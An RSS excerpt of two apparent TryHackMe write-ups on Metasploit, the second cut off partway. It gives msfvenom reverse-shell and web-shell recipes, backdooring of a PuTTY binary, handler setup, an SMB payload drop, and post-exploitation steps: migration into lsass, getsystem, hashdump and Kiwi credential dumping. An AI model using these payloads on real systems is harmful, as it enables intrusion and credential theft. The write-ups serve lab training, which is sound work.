encoders.</li><li>-l platforms — lists platforms (windows, linux, osx, android, java, php, python, unix, etc.).</li><li>-l archs — lists architectures (x64, x86, aarch64, armle, mipsbe, php, python, etc.).</li></ul><h4>Answer the questions below</h4><p>What flag sets the output format in msfvenom?</p><blockquote>-f</blockquote><p>What flag specifies the payload to generate?</p><blockquote>-p</blockquote><h3>Staged vs Stageless Payloads</h3><p>Staged vs. Stageless Payloads</p><p>The difference is visible in the name: / means staged, _ means stageless.</p><p>How they work:</p><ul><li>Stageless (inline): Fully self-contained. The entire payload (e.g., Meterpreter) is in one file. It connects back and establishes a session in one step.</li><li>Staged: Works in two steps. A tiny stager executes on the target, connects back to your handler, and your handler sends the larger stage (the full payload) over that connection. The stage is loaded into memory and executed.</li></ul><p>Trade-offs:</p><ul><li>Size: Stageless is much larger (full payload). Staged is very small (just the stager).</li><li>Reliability: Stageless is more reliable because it only connects once. Staged relies on a stable connection to download the stage; if the handler isn’t running or the payload types mismatch, it fails silently.</li><li>Detection: Stageless leaves the full payload data on disk (easier for AV signature matching). Staged leaves a tiny footprint initially, but the sudden large download of the stage can trigger intrusion detection systems.</li><li>Usage: Msfconsole exploits default to staged (module handles the stage automatically). Msfvenom standalone files usually default to stageless (needs to be self-sufficient).</li></ul><p>When to choose which:</p><ul><li>Stageless: Creating standalone files via msfvenom for manual delivery (USB, SSH). Operating in unstable networks. When you need simplicity and don&#39;t want to worry about coordinating the stager and stage.</li><li>Staged: Working inside msfconsole (default behavior). When the initial payload size is strictly limited (e.g., buffer overflow, SQL injection with size constraints).</li></ul><p>Generating both with msfvenom:<br>The only difference in the command is the payload name.</p><ul><li>Staged: msfvenom -p windows/x64/meterpreter/reverse_tcp ...</li><li>Stageless: msfvenom -p windows/x64/meterpreter_reverse_tcp ...</li></ul><p>Size difference: The staged stager is tiny (~510 bytes / 7 KB EXE), while the stageless payload is large (~201 KB / 245 KB EXE) because it contains the full agent.</p><p>Handler behavior:</p><ul><li>Staged: The multi/handler must be running and configured to match the exact payload type when the stager connects, otherwise it drops the connection.</li><li>Stageless: The handler just receives the completed connection. It’s much more forgiving of timing issues.</li></ul><h4>Answer the questions below</h4><p>Which payload type is self-contained and does not require a second download: staged or stageless?</p><blockquote>stageless</blockquote><h3>Generating Payloads and Output Formats</h3><p>Executable Formats vs. Transform Formats</p><p>When you run msfvenom -l formats, the output is split into two sections. Understanding the difference is essential for choosing the right -f flag.</p><ul><li>Executable formats produce standalone binary files that the target’s operating system can run directly. These include exe (Windows), elf (Linux), macho (macOS), msi (Windows Installer), apk (Android), and war (Java web applications). Use these when your delivery method puts a file on the target that will be executed.</li><li>Transform formats produce code or data that you embed into another tool, script, or exploit. These include raw (raw bytes), c (C byte array), csharp (C# byte array), python (Python byte string), powershell (PowerShell byte array), hex (hexadecimal string), and base64 (base64 encoded). Use these when you are building your own exploit, injecting shellcode into a custom loader, or embedding a payload in a script.</li></ul><p>Rule of thumb: if you need a file the target runs, use an executable format. If you need data you embed in something else, use a transform format.</p><p>Common Payload Recipes</p><p>Below are the five payload types you will generate most often.</p><p>1. Windows Reverse Shell (EXE)</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o shell.exe</pre><p><em>When to use:</em> You have a way to get an executable onto a Windows target (file upload, SMB share, phishing attachment, USB drop). The target runs the .exe file, and a Meterpreter session connects back to your handler.<br><em>Note:</em> Note the stageless payload (meterpreter_reverse_tcp with _). For standalone executables, stageless is the standard choice for reliability.</p><p>2. Linux Reverse Shell (ELF)</p><pre>msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f elf -o shell.elf</pre><p><em>When to use:</em> You have file transfer access to a Linux target (SSH, SCP, a writable web directory, or a file upload vulnerability). After transferring the file, you will need to make it executable with chmod +x shell.elf before running it with ./shell.elf.<br><em>Note:</em> ELF (Executable and Linkable Format) is the Linux equivalent of Windows&#39; .exe. It is the standard binary format on Linux, macOS, and most Unix-like systems.</p><p>3. PHP Web Shell</p><pre>msfvenom -p php/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f raw -o shell.php</pre><p><em>When to use:</em> You have found a file upload vulnerability in a PHP-based web application. You upload shell.php, then trigger it by navigating to its URL (e.g., http://target.com/uploads/shell.php). The PHP runtime on the web server executes the payload and connects back to your handler.<br><em>Important:</em> After generating a PHP payload with msfvenom, open the file and verify it starts with a proper &lt;?php opening tag. Some versions of msfvenom output the opening tag as a comment (/*&lt;?php /**/). If the PHP engine does not recognize the file as PHP code, the payload will not execute. Remove any comment markers around the opening tag if needed.</p><p>4. Python One-Liner</p><pre>msfvenom -p cmd/unix/reverse_python LHOST=CONNECTION_IP LPORT=4444 -f raw</pre><p><em>When to use:</em> The target has Python installed, and you can execute commands (through a command injection vulnerability, an SSH session, or a web shell). You paste or pipe this one-liner directly into the target’s terminal. No file needs to touch the disk.<br><em>Note:</em> Notice the output format is raw (not elf or exe), and there is no -o flag; the payload prints directly to your terminal. This is a transform format in action: the output is code, not a binary.</p><p>5. Raw Shellcode (C Format)</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f c</pre><p><em>When to use:</em> You are writing a custom exploit, building a payload loader in C, or need raw shellcode bytes for embedding in a buffer overflow exploit. The output is a C-style byte array that you can copy directly into your source code.<br><em>Note:</em> Other useful transform formats follow the same pattern: -f python for a Python byte string, -f csharp for a C# byte array, -f powershell for a PowerShell-compatible format, -f hex for a plain hexadecimal string.</p><p>Quick Reference: Common Format Choices</p><ul><li>Windows executable for file drop → windows/x64/meterpreter_reverse_tcp → exe (-f exe)</li><li>Linux executable for SSH transfer → linux/x64/meterpreter_reverse_tcp → elf (-f elf)</li><li>PHP web shell for file upload → php/meterpreter_reverse_tcp → raw (-f raw)</li><li>Python command injection → cmd/unix/reverse_python → raw (-f raw)</li><li>Shellcode for custom C exploit → Any Windows/Linux payload → c (-f c)</li><li>PowerShell for Windows command execution → windows/x64/meterpreter_reverse_tcp → powershell (-f powershell)</li><li>Java web application (Tomcat, Jenkins) → java/meterpreter/reverse_tcp → war (-f war)</li><li>Windows Installer for delivery → windows/x64/meterpreter_reverse_tcp → msi (-f msi)</li></ul><h4>Answer the questions below</h4><p>What output format would you use to generate a Linux binary executable?</p><blockquote>elf</blockquote><p>Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe, connecting back to 10.10.14.12 on port 5555.</p><blockquote>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe</blockquote><h3>Encoders and Evasion Basics</h3><p>Encoding is not evasion.</p><p>There is a persistent misconception that using an encoder (like shikata_ga_nai) in msfvenom will bypass antivirus. It will not. Here is the reality of what encoding does and why modern AV catches it.</p><h4>What Encoding Actually Does</h4><p>An encoder (like x86/shikata_ga_nai) transforms the payload&#39;s bytes using polymorphic XOR encryption and adds a decoder stub. When the payload runs, the stub decodes it in memory and executes it.</p><p>The primary legitimate use cases for encoding are:</p><ul><li>Bad character removal: Avoiding specific bytes (like null bytes \x00, newlines \x0a) that can break an exploit (e.g., in a buffer overflow).</li><li>Format compliance: Ensuring the payload fits within character restrictions (e.g., only printable ASCII).</li></ul><h4>How to Use Encoders in msfvenom</h4><ul><li>-e selects the encoder (e.g., -e x86/shikata_ga_nai).</li><li>-i sets the number of iterations (re-encodes the previous output).</li><li>-b specifies bad characters to avoid (e.g., -b &#39;\x00\x0a\x0d&#39;). When you use -b, msfvenom automatically picks an encoder to eliminate those bytes; you don&#39;t necessarily need -e.</li></ul><h4>Why Encoding Fails Against Modern AV</h4><p>In the 2000s, static byte-matching was the norm, so changing the bytes worked. Modern security has evolved:</p><ul><li>Heuristic Analysis: Flags the behavior (a decoder stub decrypting and executing code in memory is a massive red flag).</li><li>Sandboxing: Runs the file in an isolated environment, letting it decode itself and reveal its true malicious behavior.</li><li>AMSI: Intercepts the payload at runtime <em>after</em> decoding, before execution.</li><li>Machine Learning: Identifies malicious patterns even in polymorphic code.</li></ul><p>The shikata_ga_nai XOR decoder stub is now a well-known signature. Running 10 iterations against a default Meterpreter payload will be caught by virtually every modern endpoint product.</p><h4>When is Encoding Still Useful?</h4><p>It is still useful for its original purpose: bad character avoidance in exploit development. If your shellcode must avoid null bytes or newlines to fit into a buffer, encoding solves that technical requirement.</p><p>If you need actual evasion, you must move beyond msfvenom to custom loaders, process injection, AMSI bypasses, and payload obfuscation.</p><h4>Answer the questions below</h4><p>What is the name of the most well-known Metasploit encoder?</p><blockquote>x86/shikata_ga_nai</blockquote><p>What msfvenom flag specifies characters that must not appear in the payload output?</p><blockquote>-b</blockquote><h3>Payload Injection and Multi-Platforrm Payloads</h3><p>Injecting Payloads into Existing Binaries &amp; Multi-Platform Payloads</p><p>1. Injecting into Existing Binaries (-x flag)<br>This allows you to inject a payload into a legitimate .exe to disguise it.</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=... LPORT=4444 -x /root/templates/putty.exe -f exe -o putty_backdoor.exe</pre><ul><li>The -k flag: Preserves the original application&#39;s behavior. The payload runs in a separate background thread while the user continues to see the normally functioning PuTTY.</li><li>Detection risks: The file hash changes, the digital signature breaks (Windows will show a warning), and AV heuristics easily spot the “legitimate binary with injected code” pattern. It requires additional obfuscation for real-world use.</li></ul><p>2. Multi-Platform Payloads</p><p>Android (APK):</p><pre>msfvenom -p android/meterpreter/reverse_tcp LHOST=… LPORT=4444 -o evil.apk</pre><p><em>Note:</em> No -f flag is needed; the format is auto-selected. Installation requires enabling developer mode and allowing installs from unknown sources.</p><p>macOS (Mach-O):</p><pre>msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=… LPORT=4444 -f macho -o shell.macho</pre><p>Mach-O is macOS’s native binary format (equivalent to ELF on Linux and PE on Windows).</p><p>Java Web Application (WAR):</p><pre>msfvenom -p java/meterpreter/reverse_tcp LHOST=… LPORT=4444 -f war -o shell.war</pre><p>Deployed to application servers (Tomcat, JBoss). If you have access to the Tomcat Manager, the WAR file can be uploaded via the web UI and triggers when you browse to its URL.</p><p>ASP/ASPX (for IIS):</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=… LPORT=4444 -f aspx -o shell.aspx</pre><p>Web shells for Microsoft IIS (.NET). Uploaded via file upload vulnerabilities and triggered by navigating to the file’s URL.</p><p>JSP (JavaServer Pages):</p><pre>msfvenom -p java/meterpreter/reverse_tcp LHOST=… LPORT=4444 -f jsp -o shell.jsp</pre><p>An alternative to WAR files when you can upload individual files but cannot deploy a full package.</p><p>3. Choosing the Right Platform and Format</p><ul><li>Target OS: Determines the payload platform (windows/, linux/, osx/, android/, java/, php/).</li><li>Delivery method: Determines the format. File drop → executable (exe, elf, macho, apk). Web upload → web format (php, asp, aspx, jsp, war). Code injection → transform (raw, c, python).</li><li>Available runtimes: Has PHP → use PHP. Has Java → use WAR or JSP. Bare OS with no interpreter → use a native binary.</li></ul><h4>Answer the questions below</h4><p>What msfvenom flag injects a payload into an existing executable template?</p><blockquote>-x</blockquote><h3>Handlers and Catching Shells</h3><p>Metasploit Handler: Setup and Catching a Session</p><p>You’ve generated and delivered the payload. Now it needs somewhere to connect back to. That “somewhere” is a handler: a listener on your attacking machine that accepts incoming connections and establishes sessions.</p><h4>1. Setting Up exploit/multi/handler</h4><p>This is Metasploit’s universal listener. It works with all payload types (Meterpreter, shell, PHP, Python, etc.).</p><p>Setup example:</p><pre>msf6 &gt; use exploit/multi/handler<br>msf6 exploit(multi/handler) &gt; set PAYLOAD windows/x64/meterpreter_reverse_tcp<br>msf6 exploit(multi/handler) &gt; set LHOST CONNECTION_IP<br>msf6 exploit(multi/handler) &gt; set LPORT 4444<br>msf6 exploit(multi/handler) &gt; run</pre><p>Once you run it, the handler listens. When the payload executes on the target and connects back, you’ll see: [*] Meterpreter session 1 opened.</p><h4>2. The Golden Rule: Everything Must Match</h4><p>The most common reason a handler fails to catch a shell is a mismatch between the payload and the handler configuration. Three values must be identical:</p><p>Payload (e.g., windows/x64/meterpreter_reverse_tcp).</p><p>LHOST (your IP).</p><p>LPORT (the port, e.g., 4444).</p><blockquote><em>Payload type error: If you generated a staged payload (</em><em>meterpreter/reverse_tcp) but set the handler to a stageless payload (</em><em>meterpreter_reverse_tcp), the connection will fail silently.</em></blockquote><h4>3. The Full Workflow (Generate → Deliver → Catch)</h4><p>Generate: msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=... LPORT=4444 -f exe -o shell.exe</p><p>Start Handler: use exploit/multi/handler -&gt; set options -&gt; run.</p><p>Deliver: Upload the file to the target (e.g., via SMB share).</p><p>Execute: Run shell.exe on the target.</p><p>Catch: Go back to msfconsole and see the opened session.</p><h4>4. Useful Handler Options</h4><ul><li>run -j — Starts the handler as a background job, so you can continue using msfconsole.</li><li>set ExitOnSession false — By default, the handler stops listening after the first session. This flag keeps it listening for more (useful if you deployed the payload to multiple targets).</li><li>set AutoRunScript post/windows/manage/migrate — Automatically runs a script when a session opens. For example, migrating the session to a stable process so you don&#39;t have to do it manually every time.</li></ul><h4>Answer the questions below</h4><p>What Metasploit module is used as a universal listener for catching reverse shell connections?</p><blockquote>exploit/multi/handler</blockquote><p>What handler option should you set to false if you want the handler to keep listening after the first session is established?</p><blockquote>ExitOnSession</blockquote><h3>Exploit</h3><p>firt generate the payload</p><pre>msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=&lt; Target IP &gt; LPORT=4444 -f exe -o stageless.exe</pre><p>next start metasploit and use exploit/multi/handler</p><p>now set your payload</p><pre>set payload windows/x64/meterpreter_reverse_https </pre><p>then set LHOST and LPORT and run</p><pre>set LHOST &lt; your Attackbox IP &gt;<br>set LPORT 4444<br>run</pre><p>now use smbclient</p><pre>smbclient -L //10.80.138.213 -N</pre><p>now connect to public and put our payload</p><pre>smbclient //10.80.138.213/public -N<br>put stageless.exe</pre><p>now ypu have to waite and when you use ls it wount reply so you create a session</p><pre>session 1</pre><p>now use hashdump to get a hash</p><pre>hashdump</pre><p>and to get a flag use the command below</p><pre>cat C:\Users\Administrator\documents\flag.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2da3e6bb1e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Metasploit: Post-Exploitation Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-metasploit-post-exploitation-write-up-241111baf28a?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/241111baf28a</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 16:17:24 GMT</pubDate>
            <atom:updated>2026-10-22T16:17:24.125Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*O9BtylkTlLCAOZjeW4fUeA.png" /></figure><h3>Meterpreter Flavors and Selection</h3><p>Meterpreter Implementations (Summary)</p><p>Meterpreter comes in several platform-specific flavors:</p><ul><li>Windows Meterpreter — the original and most feature-rich version (DLL injection, migrate, hashdump, getsystem, load kiwi, screenshots, webcam). Default choice for Windows.</li><li>Mettle (Linux/macOS/BSD) — native C counterpart. Core functions (filesystem, network, processes), but lacks Windows-specific features like hashdump.</li><li>Java Meterpreter — runs inside the JVM (Tomcat, Jenkins). Platform-independent, but limited command set.</li><li>PHP Meterpreter — for PHP web apps (WordPress, Joomla). Most limited, but provides filesystem access, command execution, and a reverse shell in the web server context.</li><li>Python Meterpreter — if Python is available on target. Sits between PHP and native versions in capability.</li></ul><p>Three-Factor Decision Model</p><ol><li>Target OS — primary filter. Windows → windows/x64/meterpreter/..., Linux → linux/x64/meterpreter/....</li><li>Components on target — what can actually execute: PHP exploit → php/meterpreter/..., Java server → java/meterpreter/....</li><li>Connection type:</li></ol><ul><li>reverse_tcp — target connects back to you (default, most reliable).</li><li>reverse_http/https — when firewall only allows web traffic.</li><li>bind_tcp — when target cannot initiate outbound connections.</li></ul><p>Examples</p><ul><li>EternalBlue on Windows 7 x64, unrestricted → windows/x64/meterpreter/reverse_tcp.</li><li>PHP file upload on Linux → php/meterpreter/reverse_tcp (or reverse_http under strict egress).</li><li>Jenkins (Java) with only outbound HTTPS 443 → java/meterpreter/reverse_https, LPORT=443.</li></ul><p>Staged vs Stageless</p><ul><li>windows/x64/meterpreter/reverse_tcp — staged: a small stager connects first, then the full Meterpreter is loaded.</li><li>windows/x64/meterpreter_reverse_tcp — stageless: the entire payload is delivered in one go.</li></ul><p>Staged is the msfconsole default and usually works fine. Stageless is preferred for standalone msfvenom binaries that must be self-contained without a second download.</p><p>Listing payloads</p><p>bash</p><pre>msf6 &gt; search type:payload meterpreter</pre><blockquote><em>100 entries across platforms and connection types. No need to memorize them — just follow the chain OS → components → connection type.</em></blockquote><h4>Answer the questions below</h4><p>What Meterpreter implementation would you use to target a PHP web application?</p><blockquote>php/meterpreter/reverse_tcp</blockquote><p>Your target is a Windows machine behind a firewall that only permits outbound HTTPS on port 443. Which connection type should your Meterpreter payload use?</p><blockquote>reverse_https</blockquote><h3>Essential Meterpreter Commands</h3><h4>Situational Awareness</h4><p>These commands tell you about the system you have landed on and the context you are operating in.</p><p><strong>sysinfo</strong> — Displays the target’s hostname, operating system, architecture, and domain:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; sysinfo<br>Computer        : STRATFORD-WS01<br>OS              : Windows 7 (6.1 Build 7601, Service Pack 1).<br>Architecture    : x64<br>System Language : en_US<br>Domain          : STRATFORD<br>Logged On Users : 2<br>Meterpreter     : x64/windows</pre><p>This is typically the first command you run after landing. It confirms the target OS, architecture, and domain membership in a single output.</p><p><strong>getuid</strong> — Shows the user account Meterpreter is running as:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>NT AUTHORITY\SYSTEM is the highest privilege level on a Windows system. If you see a regular user account here (e.g., STRATFORD\svc_backup), you will need to escalate privileges before you can access sensitive data like password hashes.</p><p><strong>getpid</strong> — Returns the process ID that Meterpreter is currently running inside:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; getpid<br>Current pid: 1304</pre><p><strong>ps</strong> — Lists all running processes on the target. This is useful for identifying processes to migrate into, finding interesting applications (browsers, email clients, password managers), and confirming your current process context:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; ps<br>Process List<br>============<br> PID   PPID  Name               Arch  Session  User                          Path<br> ---   ----  ----               ----  -------  ----                          ----<br> 692   596   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 716   596   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe<br> 1304  692   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1540  692   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE<br> [...]</pre><p>We can notice a few useful details: Meterpreter is in PID 1304 (spoolsv.exe), lsass.exe is at PID 716 (we will need this for credential dumping later), and user ballen has an active desktop session with explorer.exe and notepad.exe running.</p><p><strong>idletime</strong> — Shows how long the remote user has been idle:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; idletime<br>User has been idle for: 1 hour 23 mins 14 secs</pre><p>If you are concerned about a user noticing your activity (screen changes, cursor movement during migration), this tells you whether anyone is actively at the keyboard.</p><h4>File System Operations</h4><p>These commands let you navigate and interact with the target’s file system.</p><p><strong>pwd, cd, ls</strong> — Navigate directories just like a Linux terminal:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; pwd<br>C:\Windows\system32<br>meterpreter &gt; cd C:\Users\ballen\Desktop<br>meterpreter &gt; ls<br>Listing: C:\Users\ballen\Desktop<br>=================================<br>Mode              Size  Type  Last modified              Name<br>----              ----  ----  -------------              ----<br>100666/rw-rw-rw-  527   fil   2026-01-15 09:22:18 +0000  desktop.ini<br>100666/rw-rw-rw-  38    fil   2026-02-20 14:05:33 +0000  notes.txt<br>100666/rw-rw-rw-  2048  fil   2026-03-01 11:42:07 +0000  budget_q1.xlsx</pre><p><strong>cat</strong> — Displays the contents of a file:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; cat C:\Users\ballen\Desktop\notes.txt<br>VPN credentials - ask IT for reset<br>Backup server: 10.49.14.60</pre><p><strong>search</strong> — Searches the entire file system (or a specific directory) for files matching a pattern:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; search -f *.txt -d C:\Users<br>Found 3 results...<br>    C:\Users\ballen\Desktop\notes.txt (38 bytes)<br>    C:\Users\ballen\Documents\passwords.txt (124 bytes)<br>    C:\Users\Public\readme.txt (892 bytes)</pre><p>The -f flag specifies the file pattern (wildcards supported), and -d limits the search to a specific directory tree. Without -d, Meterpreter searches the entire file system, which can be slow.</p><p><strong>download and upload</strong> — Transfer files between the target and your machine:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; download C:\Users\ballen\Documents\passwords.txt /home/kali/loot/<br>[*] Downloading: C:\Users\ballen\Documents\passwords.txt -&gt; /home/kali/loot/passwords.txt<br>[*] Downloaded 124.00 B of 124.00 B (100.0%): passwords.txt -&gt; /home/kali/loot/passwords.txt</pre><p>AttackBox Terminal</p><pre>meterpreter &gt; upload /home/kali/tools/winPEAS.exe C:\Temp\<br>[*] Uploading  : /home/kali/tools/winPEAS.exe -&gt; C:\Temp\winPEAS.exe<br>[*] Uploaded 1.87 MiB of 1.87 MiB (100.0%): winPEAS.exe -&gt; C:\Temp\winPEAS.exe</pre><h4>Networking</h4><p>These commands provide visibility into the target’s network configuration and connections.</p><p><strong>ifconfig</strong> — Displays the target’s network interfaces:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; ifconfig<br>Interface  1<br>============<br>Name         : Software Loopback Interface 1<br>Hardware MAC : 00:00:00:00:00:00<br>MTU          : 4294967295<br>IPv4 Address : 127.0.0.1<br>Interface 11<br>============<br>Name         : Intel(R) PRO/1000 MT Network Connection<br>Hardware MAC : 02:ce:59:27:c8:e3<br>MTU          : 1500<br>IPv4 Address : MACHINE_IP<br>IPv4 Netmask : 255.255.255.0</pre><p>If the target has multiple network interfaces (e.g., one facing the internal network and one facing a management VLAN), this is how you discover pivot opportunities.</p><p><strong>netstat</strong> — Shows active network connections, revealing what the target is communicating with:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; netstat<br>Connection list<br>===============<br>    Proto  Local address       Remote address      State        User  Inode  PID/Program name<br>    -----  -------------       --------------      -----        ----  -----  ----------------<br>    tcp    MACHINE_IP:139      0.0.0.0:*           LISTEN       0     0      4/System<br>    tcp    MACHINE_IP:445      0.0.0.0:*           LISTEN       0     0      4/System<br>    tcp    MACHINE_IP:49186    CONNECTION_IP:4444   ESTABLISHED  0     0      1304/spoolsv.exe<br>    [...]</pre><p>We can see our own Meterpreter connection (10.10.14.12:4444) in the ESTABLISHED list. In a real engagement, you would also look for connections to internal databases, file shares, or other systems that could be pivot targets.</p><h4>Interacting with the OS</h4><p><strong>shell</strong> — Drops you into a native operating system shell on the target:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; shell<br>Process 2880 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.<br>C:\Windows\system32&gt;</pre><p>You are now in cmd.exe on the target. This is useful when you need to run a Windows command that Meterpreter does not have a built-in equivalent for. Type exit to return to the Meterpreter prompt.</p><p><strong>execute</strong> — Runs a command on the target without dropping into a shell. The -f flag specifies the command, and -i makes it interactive:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; execute -f ipconfig -i<br>Process 2912 created.<br>Channel 2 created.<br>Windows IP Configuration<br>Ethernet adapter Local Area Connection:<br>   Connection-specific DNS Suffix  . :<br>   IPv4 Address. . . . . . . . . . . : MACHINE_IP<br>   Subnet Mask . . . . . . . . . . . : 255.255.255.0<br>   Default Gateway . . . . . . . . . : 10.49.14.1</pre><h4>The Help Command</h4><p>This task covered the commands you will use most frequently. Meterpreter has many more. Typing help at any Meterpreter prompt displays the complete command list organized by category:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; help<br>Core Commands<br>=============<br>    Command       Description<br>    -------       -----------<br>    background    Backgrounds the current session<br>    exit          Terminate the Meterpreter session<br>    help          Displays the help menu<br>    migrate       Allows you to migrate Meterpreter to another process<br>    run           Executes a Meterpreter script or Post module<br>    sessions      Quickly switch to another session<br>[...File system commands, Networking commands, System commands, etc.]</pre><p>Every Meterpreter version has a different command set. The Windows version includes commands for webcam access, keystroke capture, and screenshot capture that do not exist in the Linux (Mettle) version. Always run help after establishing a session to see exactly what is available.</p><h4>Answer the questions below</h4><p>What command displays the target system’s hostname, OS, and domain information in a single output?</p><blockquote>sysinfo</blockquote><p>You want to retrieve a file called <strong>credentials.txt</strong> from the target’s Desktop to your local machine. What Meterpreter command would you use?</p><blockquote>download</blockquote><h3>Post-Explotation</h3><h4>Process Migration</h4><p><strong>Migration</strong> is the act of moving your Meterpreter session from one process to another on the target system. This is one of the most important techniques to understand, because it affects both your stability and your privilege level.</p><p>Why migrate? Several reasons:</p><ul><li><strong>Stability</strong>: If Meterpreter is running inside a process that the user or system might close (like a browser or a service that restarts), migrating to a long-lived process (like explorer.exe or svchost.exe) keeps your session alive.</li><li><strong>Privilege context</strong>: Your Meterpreter session inherits the privileges of the process it lives in. Migrating to a process running as a different user changes your effective privileges.</li><li><strong>Capability access</strong>: Some operations require being inside a specific process. For example, capturing keystrokes from a user’s desktop requires migrating to a process in that user’s session (like explorer.exe).</li></ul><p>The migrate command takes a target process ID:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; getpid<br>Current pid: 1304<br>meterpreter &gt; ps<br>PID   PPID  Name               Arch  Session  User                          Path<br> ---   ----  ----               ----  -------  ----                          ----<br> 716   596   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe<br> 1304  692   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> [...]<br>meterpreter &gt; migrate 716<br>[*] Migrating from 1304 to 716...<br>[*] Migration completed successfully.<br>meterpreter &gt; getpid<br>Current pid: 716</pre><p>Meterpreter has moved from spoolsv.exe (PID 1304) to lsass.exe (PID 716). Since lsass.exe is the Local Security Authority Subsystem Service, which handles authentication, migrating here is a common prerequisite for dumping credentials.</p><p><strong>A critical warning</strong>: migration is a one-way operation, and it can change your privilege level. If you migrate from a SYSTEM process to a process running as a regular user, you <em>lose</em> SYSTEM privileges. Always check getuid after migrating to confirm your privilege level has not dropped:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>Still SYSTEM, because lsass.exe runs as SYSTEM. If we had migrated to explorer.exe (PID 2044, running as STRATFORD\ballen), we would have dropped to that user&#39;s privilege level.</p><h4>Privilege Escalation with Getsystem</h4><p>The getsystem command attempts to elevate your privileges to NT AUTHORITY\SYSTEM using several built-in techniques (named pipe impersonation, token duplication):</p><p>AttackBox Terminal</p><pre>meterpreter &gt; getsystem<br>...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).<br>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM</pre><p>getsystem works when your current user has local administrator privileges but is not yet running as SYSTEM. It is a quick, built-in privilege escalation that covers the most common scenario. If it fails (the target may have protections in place or your user may not have sufficient privileges), you will need to explore other escalation paths, which are covered in the Privilege Escalation module later in this learning path.</p><h4>Credential Harvesting with Hashdump</h4><p>The hashdump command extracts local user account hashes from the target&#39;s SAM (Security Account Manager) database:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>ballen:1001:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::<br>jchambers:1002:aad3b435b51404eeaad3b435b51404ee:69596c7aa1e8daee17f8e78870e25a5c:::</pre><p>Each line follows the format username:RID:LM_hash:NTLM_hash:::. The NTLM hash (the fourth field) is the one you will typically work with for cracking or pass-the-hash attacks.</p><p>hashdump <strong>requires SYSTEM privileges</strong>. If you are running as a regular user, the command will fail with an access denied error. The common workflow is: check getuid → if not SYSTEM, try getsystem → if that fails, migrate to a SYSTEM process like lsass.exe → then run hashdump.</p><h4>Loading Extensions: Kiwi</h4><p>Meterpreter’s load command adds extension modules to your current session. The most well-known extension is <strong>Kiwi</strong>, which brings Mimikatz-style credential harvesting capabilities directly into Meterpreter.</p><p>AttackBox Terminal</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \ / ##       &gt; https://blog.gentilkiwi.com/mimikatz<br> &#39;## v ##&#39;       Vincent LE TOUX             ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;        &gt; https://pingcastle.com / https://mysmartlogon.com ***/<br></pre><p>Once loaded, new commands appear in the help menu. The most useful one is creds_all, which retrieves all available credentials from the target&#39;s memory:</p><p>AttackBox Terminal</p><pre>meterpreter &gt; creds_all<br>[+] Running as SYSTEM<br>[*] 